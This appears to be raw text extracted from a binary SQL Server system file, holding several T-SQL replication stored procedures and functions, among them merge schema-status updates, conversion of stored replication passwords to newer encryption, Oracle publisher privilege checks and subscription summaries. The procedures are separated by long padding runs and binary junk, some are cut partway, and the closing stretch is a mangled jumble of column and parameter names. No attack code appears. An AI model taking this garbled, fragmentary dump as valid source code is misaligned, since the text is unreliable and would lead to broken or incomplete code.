    declare @SCHEMA_TYPE_SNAPSHOTTRAILER int
    
    select @retcode = 0
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)

    if @publication IS NULL
    begin
        raiserror (14003, 16, -1)
        return (1)
    end

    select @pubid = pubid, @compatlevel = backward_comp_level FROM dbo.sysmergepublications WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (21274, 16, -1, @publication)
        return (1)
    end
    
    if @compatlevel < 90
    begin
        raiserror(22557, 16, -1, @publication)
        return 1
    end

    select @status  = lower(@status  collate SQL_Latin1_General_CP1_CS_AS)
    if @status  not in ('active', 'skipped')
    begin
        RAISERROR(22559 , 16, -1)
        return (1)
    end

    if @status = N'active'
        select @statusid = 1
    else if @status = N'skipped'
        select @statusid = 2
    
    update dbo.sysmergeschemachange set schemastatus = @statusid
        where pubid=@pubid and schemaversion = @schemaversion 
    if @@error <> 0 or @@rowcount <> 1
        begin
            RAISERROR(22558 , 16, -1)
            return (1)
        end     
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<<cqg0 ;8create procedure sys.sp_vupgrade_subpass
as
begin
    set nocount on

    begin transaction
    save tran sp_vupgrade_subpass

    /*
     * MSsubscription_properties
    */
    if object_id('MSsubscription_properties') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('MSsubscription_properties') and name = 'ftp_password' and max_length = '1048')
        begin
            declare @cmptlevel tinyint
            select @cmptlevel = cmptlevel from master.dbo.sysdatabases where dbid = db_id()
            if @cmptlevel < 70
            begin
                raiserror (15048, 10, 1, 70, 70, 70, 80)
            end
            else
            begin
                /*
                * alter ftp_password column from sysname to nvarchar(524)
                */
                exec( N'alter table MSsubscription_properties alter column ftp_password nvarchar(524)' )
                exec( N'alter table MSsubscription_properties alter column distributor_password nvarchar(524)' )
                exec( N'alter table MSsubscription_properties alter column publisher_password nvarchar(524)' )
                exec( N'alter table MSsubscription_properties alter column dts_package_password nvarchar(524)' )
            end    
        end

        /*
         * convert all the ftp_passwords to new encryption
         */
        declare @ftp_password nvarchar(524)
        declare @distributor_password nvarchar(524)
        declare @publisher_password nvarchar(524)
        declare @dts_package_password nvarchar(524)
        declare @retcode int

        declare #cur_MSsubscription_properties CURSOR LOCAL FORWARD_ONLY for 
        select ftp_password, distributor_password, publisher_password, dts_package_password
        from MSsubscription_properties
        for update of ftp_password, distributor_password, publisher_password, dts_package_password
            
        open #cur_MSsubscription_properties
        fetch #cur_MSsubscription_properties into @ftp_password, @distributor_password, @publisher_password, @dts_package_password
        while ( @@fetch_status <> -1 )
        begin
            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@ftp_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @ftp_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@distributor_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @distributor_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@publisher_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @publisher_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@dts_package_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @dts_package_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            update MSsubscription_properties
            set ftp_password=@ftp_password, distributor_password=@distributor_password, publisher_password=@publisher_password, dts_package_password=@dts_package_password
            where current of #cur_MSsubscription_properties
            
            fetch #cur_MSsubscription_properties into @ftp_password, @distributor_password, @publisher_password, @dts_package_password
        end -- while ( @@fetch_status <> -1 ) 
        close #cur_MSsubscription_properties
        deallocate #cur_MSsubscription_properties
    end -- if object_id('MSsubscription_properties')
    
    commit transaction
    return 0

error:
    rollback tran sp_vupgrade_subpass
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
	<ir0 D8h5!0g D85hv70z =8
--
-- Name:
--		fn_MSrepl_checktype
--
-- Description:
--		Verify if type exists
--
-- Inputs:
--		@type		== type name
--		@dbms		== dbms name
--		@version	== dbms version
--
-- Returns:
--		1 == TRUE
--		0 == FALSE
--
-- Security:
--		Internal
--
-- Notes:
--
--

CREATE FUNCTION sys.fn_MSrepl_checktype
(
	@type		sysname,
	@dbms		sysname,
	@version	sysname = NULL
)
RETURNS BIT
AS
BEGIN
	IF NOT EXISTS
	(
		SELECT	type
		FROM	msdb.dbo.MSdbms dbms,
				msdb.dbo.MSdbms_datatype dt
		WHERE	dbms.dbms_id	= dt.dbms_id
		  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
		        UPPER(@type COLLATE DATABASE_DEFAULT)

		  AND	dbms.dbms		= @dbms
		  AND	sys.fn_IHcompareversion(d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    = convert(smallint, -- not in sys.parameters
                                        case    -- These conditions should match the ones in sys.spt_all_procedures
                                        when o.type in ('P', 'PC')          then 1
                                        when o.type in ('FN', 'TF', 'IF')   then 0
                                        else NULL
                                        end),
        name                = s_p.name,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        real_max_length     = s_p.max_length,
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.all_parameters s_p inner join
        sys.all_objects o on
            (
                s_p.object_id = o.object_id
            )

    union all

    select
        object_id           = s_npp.object_id,
        procedure_number    = s_npp.procedure_number, -- not in sys.parameters
        name                = s_npp.name,
        parameter_id        = s_npp.parameter_id,
        system_type_id      = s_npp.system_type_id,
        user_type_id        = s_npp.user_type_id,
        "precision"         = s_npp.precision,
        scale               = s_npp.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_npp.max_length when -1 then 0 else s_npp.max_length end),
        real_max_length     = s_npp.max_length,
        is_output           = s_npp.is_output,
        has_default_value   = convert(bit, 0),  -- not in sys.numbered_procedure_parameters
        default_value       = NULL,             -- not in sys.numbered_procedure_parameters
        xml_collection_id   = NULL              -- not in sys.numbered_procedure_parameters
    from
        sys.numbered_procedure_parameters s_npp
0 8
--
-- Name:
--		sp_ORACheckAdminPrivileges
--
-- Description:
--		Validate admin privileges needed for publishing (Oracle specific)
--
-- Inputs:
--		@publisher		== publisher name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Used by sp_ORAaddpublisher
--

CREATE PROCEDURE sys.sp_ORACheckAdminPrivileges
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @pubid				int
	DECLARE @grantsCheck		int
	DECLARE @InsColumnList		nvarchar(200)
	DECLARE @SelectColumnList	nvarchar(200)

	-- Get publisher ID
	SELECT	@pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define #grants support table
	create table #grants
	(
		gcheck	nchar(3),
		value	int
	)

	--
	-- Populate a temp table with the permission checks
	--
	SELECT @InsColumnList    = 'gcheck, value'
	SELECT @SelectColumnList = '*'

	-- Check to make certain that all needed privileges have been granted
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''ALL'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM SESSION_PRIVS SP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE SP.PRIVILEGE IN ')
	INSERT INTO #hquery(cmd) VALUES ('(''CREATE PROCEDURE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE PUBLIC SYNONYM'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE SEQUENCE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''DROP PUBLIC SYNONYM'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE SESSION'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE TABLE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE VIEW'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE ANY TRIGGER'') ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check to make certain that some grants were made explicitly to admin user or PUBLIC
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''EXP'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_SYS_PRIVS RSP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE RSP.PRIVILEGE IN ')
	INSERT INTO #hquery(cmd) VALUES ('(''CREATE TABLE'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE VIEW'', ')
	INSERT INTO #hquery(cmd) VALUES ('''CREATE ANY TRIGGER'') ')
	INSERT INTO #hquery(cmd) VALUES ('AND (RSP.USERNAME = USER OR RSP.USERNAME = ''PUBLIC'') ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check to for allocated quota in some tablespace	
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''QTA'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_TS_QUOTAS UQ ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE UQ.MAX_BYTES IS NOT NULL ')
	INSERT INTO #hquery(cmd) VALUES ('AND NOT UQ.MAX_BYTES = 0 ')
	INSERT INTO #hquery(cmd) VALUES ('UNION ')
	-- Check for 'PUBLIC' has been explicitly granted 'UNLIMITED TABLESPACE'
	INSERT INTO #hquery(cmd) VALUES ('SELECT ''UPT'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES ('FROM USER_SYS_PRIVS RSP ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE RSP.PRIVILEGE = ''UNLIMITED TABLESPACE'' ')
	INSERT INTO #hquery(cmd) VALUES ('AND (RSP.USERNAME = USER OR RSP.USERNAME = ''PUBLIC'')')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#grants',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21683, 16, -1, @publisher)
		RETURN (1)
	END
	
	-- Verify grant checks
	-- 1.  All required privileges (8)
	-- 2.  Explicit privileges (3)
	-- 3.  Quota space or unlimited tablespace
	SELECT	@grantsCheck =	CASE
								WHEN	(G1.value = 8) AND
										(G2.value = 3) AND
										(
											(G3.value > 0) OR
											(G4.value = 1)
										) THEN 1
								ELSE	0
							END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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`
<bt;:Q0 <8CREATE PROCEDURE sys.sp_MSrepl_subscriptionsummary
(
    @publication        sysname,
    @subscriber         sysname,
    @subscriber_db      sysname,
    @publisher          sysname,
    @publisher_type     sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode                int,
            @procedure              nvarchar(1000),
            @distributor_rpc        sysname,
            @distribution_db        sysname,
            @subscriber_id          int,
            @publisher_db           sysname,
            @independent_agent      bit,
            @pubid                  int
    
    SET @retcode = 0
    SET @pubid = NULL
    SET @publisher_db = db_name()
    
    --
    -- PAL check and validate publication
    --
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication,
                                            @raise_fatal_error = 0
    
    IF (@@error != 0) or (@retcode != 0)
        RETURN 1

    --
    -- Check to see if database is activated for publication
    --
    IF sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    BEGIN
        -- "This database is no enabled for publication."
        RAISERROR (14013, 16, -1)
    END

    -- 
    -- Parameter check: @publication
    --
    IF @publication IS NULL
    BEGIN
        -- "The parameter @publication cannot be NULL."
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_subscriptionsummary')
    END

    --
    -- Parameter Check : @publisher
    --
    IF @publisher IS NULL
    BEGIN
        SET @publisher = publishingservername()
    END  

    --
    -- Retrieve publication options
    --
    SELECT @pubid = pubid,
           @independent_agent = independent_agent
      FROM dbo.syspublications
     WHERE name = @publication
       AND pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF @pubid IS NULL
    BEGIN
        -- "The publication '@publication' does not exist."
        RAISERROR (20026, 16, -1, @publication)
        RETURN 1
    END

    --
    -- Check that the specified subscription exists
    --
    IF NOT EXISTS (SELECT ss.*
                     FROM dbo.sysextendedarticlesview seav
                     JOIN dbo.syssubscriptions ss WITH (NOLOCK)
                       ON ss.artid = seav.artid
                    WHERE seav.pubid = @pubid
                      AND ss.srvid > -1 and ss.srvname = UPPER(@subscriber) 
                      AND ss.dest_db = @subscriber_db) -- Note: we don't limit this procedure to push subscriptions only
    BEGIN
        -- "The subscription could not be found."
        RAISERROR (20021, 16, -1)
        RETURN 1
    END

    EXEC @retcode = sys.sp_helpdistributor
            @rpcsrvname = @distributor_rpc OUTPUT,
            @distribdb = @distribution_db OUTPUT,
            @publisher = @publisher

    IF @@error <> 0 OR @retcode <> 0 or @distribution_db IS NULL
    BEGIN
        -- "The Distributor has not been installed correctly."
        RAISERROR (20036, 16, -1)
        RETURN 1
    END

    IF @independent_agent = 0
    BEGIN
        SET @publication = 'ALL'
    END


    DECLARE @distribution_status    int,
            @distribution_message   nvarchar(255),
            @distribution_time      datetime,
            @distribution_duration  int

    SET @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSrepl_distributionagentstatussummary'
    EXEC @retcode = @procedure
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db,
            @distribution_status = @distribution_status OUTPUT,
            @distribution_message = @distribution_message OUTPUT,
            @distribution_time = @distribution_time OUTPUT,
            @distribution_duration = @distribution_duration OUTPUT

    IF @@error <> 0 OR @retcode <> 0 
    BEGIN
        RETURN 1
    END

    SELECT @distribution_status AS distribution_status,
           @distribution_message AS distribution_message,
           @distribution_time AS distribution_time,
           @distribution_duration AS distribution_duration

    RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	v<t
wuϝ0@ x8create procedure sys.sp_scriptxupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    -- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 3        -- XCALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
0S X8
--
-- Name:
--		sp_ORAhelpXactSetJob
--
-- Description:
--		Return attributes of the Oracle XactSet Job 
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--      @enabled        == Xactsetjob flag
--      @interval		== interval
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--

CREATE PROCEDURE sys.sp_ORAhelpXactSetJob
(
	@publisher		sysname,
	@enabled		bit = NULL OUTPUT,
	@interval		int = NULL OUTPUT
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Process help
	CREATE TABLE #XactSetJob
	(
		jobnumber		int,
		lastdate		varchar(22),
		thisdate		varchar(22),
		nextdate		varchar(22),
		broken			varchar(1),
		interval		varchar(200),
		failures		int,
		xactsetjobwhat		varchar(200),
		xactsetjob		varchar(1),
		xactsetlonginterval	int,
		xactsetlongthreshold	int,
		xactsetshortinterval	int,
		xactsetshortthreshold	int
	)
	
	--
	-- populate a temp table with the result of a query of HREPL_XactSetJob and USER_JOBS
	--
	SELECT @InsColumnList    = 'jobnumber, lastdate, thisdate, nextdate, broken, interval, failures, xactsetjobwhat, xactsetjob, xactsetlonginterval, xactsetlongthreshold, xactsetshortinterval, xactsetshortthreshold'
	SELECT @SelectColumnList = 'JOB, LASTDATE, THISDATE, NEXTDATE, BROKEN, INTERVAL, FAILURES, XACTSETJOB_WHAT, XACTSETJOB_ENABLED, XACTSETJOB_INTERVAL, XACTSETJOB_THRESHOLD, XACTSETJOB_LRINTERVAL, XACTSETJOB_LRTHRESHOLD'

	INSERT INTO #hquery(cmd) VALUES (N'SELECT u.JOB,');
	INSERT INTO #hquery(cmd) VALUES (N' TO_CHAR(u.LAST_DATE, ''MM-DD-YYYY HH24:MI:SS'') AS "LASTDATE",');
	INSERT INTO #hquery(cmd) VALUES (N' TO_CHAR(u.THIS_DATE, ''MM-DD-YYYY HH24:MI:SS'') AS "THISDATE",');
	INSERT INTO #hquery(cmd) VALUES (N' TO_CHAR(u.NEXT_DATE, ''MM-DD-YYYY HH24:MI:SS'') AS "NEXTDATE",');
	INSERT INTO #hquery(cmd) VALUES (N' u.BROKEN, u.INTERVAL,');
	INSERT INTO #hquery(cmd) VALUES (N' u.FAILURES, p.XACTSETJOB_WHAT,');
	INSERT INTO #hquery(cmd) VALUES (N' XACTSETJOB_ENABLED, XACTSETJOB_INTERVAL, XACTSETJOB_THRESHOLD,');
	INSERT INTO #hquery(cmd) VALUES (N' XACTSETJOB_LRINTERVAL, XACTSETJOB_LRTHRESHOLD FROM HREPL_XACTSETJOB p, USER_JOBS u');
	INSERT INTO #hquery(cmd) VALUES (N' WHERE p.XACTSETJOB_WHAT = ''HREPL.XactSetJob;'' AND u.WHAT(+) = p.XACTSETJOB_WHAT');
	
	EXEC @retcode = sp_ORAremotequery 
					@Server			= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable		= '#XactSetJob',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21785, 16, -1, @publisher)
		RETURN (1)
	END

	-- If no output parameters have been specified, return the result set
	IF @enabled IS NULL and @interval IS NULL
	BEGIN
		SELECT * FROM #XactSetJob
		RETURN(0)
	END

	-- If @enabled is passed as a parameter, return the flag as an output
	-- parameter.
	IF @enabled IS NOT NULL
		SET @enabled = (SELECT CONVERT(bit,xactsetjob) from #XactSetJob)
	
	-- If @interval is passed as a parameter, return interval value as an output
	-- parameter.
	IF @interval IS NOT NULL
		SET @interval = (SELECT xactsetlonginterval from #XactSetJob)	

	RETURN (0)
END
0@ V8
create procedure sys.sp_MSupdatereplicastate
        @pubid uniqueidentifier,
        @subid uniqueidentifier,
        @replicastate uniqueidentifier
as

        /*
        ** Check to see if current publication has permission
        */
        if ({ fn ISPALUSER(@pubid)} <> 1)
        begin   
                RAISERROR (14126, 11, -1)
                return (1)
        end

        update dbo.sysmergesubscriptions
                set replicastate= @replicastate
                where pubid = @pubid and subid = @subid

        return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0`C])FxN	@-T6|8started_by_sqlservr6|status6|.thread_address6|,thread_handle6|token6|,usermode_time6|.worker_address6
"@cftproc6
,@identity_col6
@objid6

"@op_type6
8@primary_key_bitmap6
(@proc_owner6
$@procname6
*@publication6
&@publisher6
,@publisher_db6
(@pubversion6
	 @ts_col6_*@publication6_&@publisher6_0@publisher_type6lcid68thesaurus_file_path6c"event_id6c,event_message6c&event_type6c,generate_time6c"log_name6c&log_source6c(pdw_node_id6c&write_time6!*CATALOG_NAME6!LDEFAULT_CHARACTER_SET_CATALOG6!FDEFAULT_CHARACTER_SET_NAME6!JDEFAULT_CHARACTER_SET_SCHEMA6!(SCHEMA_NAME6!*SCHEMA_OWNER67&(@membername67&$@rolename62.AUTO_INCREMENT62,CREATE_PARAMS62$user_type1956195"@db_name60+8	BCHARACTER_MAXIMUM_LENGTH60+8
>CHARACTER_OCTET_LENGTH60+8<CHARACTER_SET_CATALOG60+86CHARACTER_SET_NAME60+8:CHARACTER_SET_SCHEMA60+84COLLATION_CATALOG60+8.COLLATION_NAME60+82COLLATION_SCHEMA60+8.COLUMN_DEFAULT60+8(COLUMN_NAME60+8$DATA_TYPE60+86DATETIME_PRECISION60+8.DOMAIN_CATALOG60+8(DOMAIN_NAME60+8,DOMAIN_SCHEMA60+8(IS_NULLABLE60+84NUMERIC_PRECISION60+8@NUMERIC_PRECISION_RADIX60+8
,NUMERIC_SCALE60+82ORDINAL_POSITION60+8,TABLE_CATALOG60+8&TABLE_NAME60+8*TABLE_SCHEMA68$@database68$@property68@value659*component_id659<component_instance_id659(pdw_node_id659(property_id659.property_value659(update_time6C	2@active_end_date6C@@active_end_time_of_day6C6@active_start_date6C
